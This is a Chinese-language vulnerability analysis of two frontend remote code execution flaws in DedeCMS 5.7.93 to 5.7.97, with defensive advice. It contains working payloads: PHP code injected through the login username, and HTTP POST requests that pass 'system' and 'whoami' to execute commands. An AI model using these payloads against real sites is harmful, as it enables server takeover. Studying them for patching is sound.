记某CMS 5.7.97 前台RCE
字数 1566 2025-08-06 18:07:47
记某CMS 5.7.97前台RCE漏洞分析与利用
漏洞概述
本文详细分析记某CMS(DedeCMS)5.7.97版本及之前存在的两个前台远程代码执行漏洞:
- CVE-2022-35516 - 影响版本5.7.93至5.7.96
- 5.7.97版本绕过漏洞 - 影响5.7.97版本
这两个漏洞都源于系统记录用户登录次数的功能,通过精心构造的输入可实现前台远程代码执行。
漏洞影响范围
- CVE-2022-35516:DedeCMS 5.7.93至5.7.96版本
- 绕过漏洞:DedeCMS 5.7.97版本
- 已修复版本:DedeCMS 5.7.98
漏洞分析
CVE-2022-35516漏洞原理
-
漏洞位置:登录功能(
login.php)中记录用户登录次数的功能 -
漏洞成因:
- 系统会将登录信息写入
data/login.data.php文件 - 用户名参数未正确过滤,导致可注入PHP代码
- 虽然系统使用
addslashes()进行转义,但后续的json_encode()处理会反转义部分字符
- 系统会将登录信息写入
-
关键代码流程:
// 包含并读取login.data.php文件 if(file_exists($loginfile)) { require_once($loginfile); $arr_login = json_decode($grouplogin, true); } // 检查验证码... // 检查用户名密码 if($res == -1) { // 用户名错误时写入文件 $arr_login[$userid] = array("count"=>1, "time"=>time()); $login_info = json_encode($arr_login); file_put_contents($loginfile, "<?php\n\$grouplogin = '".$login_info."';\n?>"); } -
绕过过滤机制:
- 输入:
';phpinfo();?> addslashes处理后:\';phpinfo();?>json_encode处理后:\\';phpinfo();?>- 最终写入文件:
<?php\n\$grouplogin = '\\';phpinfo();?>';\n?>
- 输入:
5.7.97版本绕过技术
5.7.97版本修复了CVE-2022-35516,增加了用户名检查:
if($res == -1) {
// 直接退出,不再写入文件
ShowMsg("用户名不存在!", "login.php");
exit();
}
绕过方法:
-
利用用户名检查正则表达式:
- 系统会过滤用户名中的特殊字符,只保留字母数字和一些特定符号
- 构造特殊用户名如
adminADMIN'";?>$(),过滤后会保留admin
-
利用文件包含特性:
login.php会先包含login.data.php文件- 可以写入PHP变量定义,然后通过POST参数控制这些变量
-
具体利用步骤:
- 构造payload:
';$ad($min);?> - 过滤后用户名变为
admin(假设存在admin用户) - 写入文件内容包含变量定义
- 第二次请求时通过POST传递
ad=system&min=whoami执行命令
- 构造payload:
CVE-2022-36216(后台RCE)
虽然不是前台漏洞,但原理类似:
- 位于
dede/member_toadmin.php - 通过
json_encode写入文件导致代码执行 - 需要管理员权限才能利用
漏洞复现
CVE-2022-35516复现步骤
- 准备环境:DedeCMS 5.7.96或以下版本
- 发送登录请求,用户名包含恶意代码:
POST /login.php HTTP/1.1 ... userid=';phpinfo();?>&pwd=123&validate=验证码 - 访问
data/login.data.php文件触发代码执行
5.7.97版本绕过复现
- 准备环境:DedeCMS 5.7.97版本
- 第一次请求(写入文件):
POST /login.php HTTP/1.1 ... userid=';$ad($min);?>&pwd=123&validate=验证码- 确保系统中存在
admin用户
- 确保系统中存在
- 第二次请求(执行命令):
POST /login.php HTTP/1.1 ... userid=admin&pwd=123&validate=验证码&ad=system&min=whoami
防御措施
- 升级到DedeCMS 5.7.98或更高版本
- 如果不能立即升级:
- 禁用
data/login.data.php文件写入权限 - 加强输入过滤,特别是用户名参数
- 限制
data目录的PHP执行权限
- 禁用
总结
这两个漏洞展示了安全开发中的常见问题:
- 不安全的文件写入操作
- 转义与编码处理不一致
- 修复不彻底导致的绕过
审计时应特别注意:
- 文件写入操作
json_encode等编码函数的安全影响- 多层过滤机制间的交互
参考资源
- 漏洞环境与EXP:https://github.com/N0puple/vulPOC
- DedeCMS 5.7.97下载:https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.97-UTF8.zip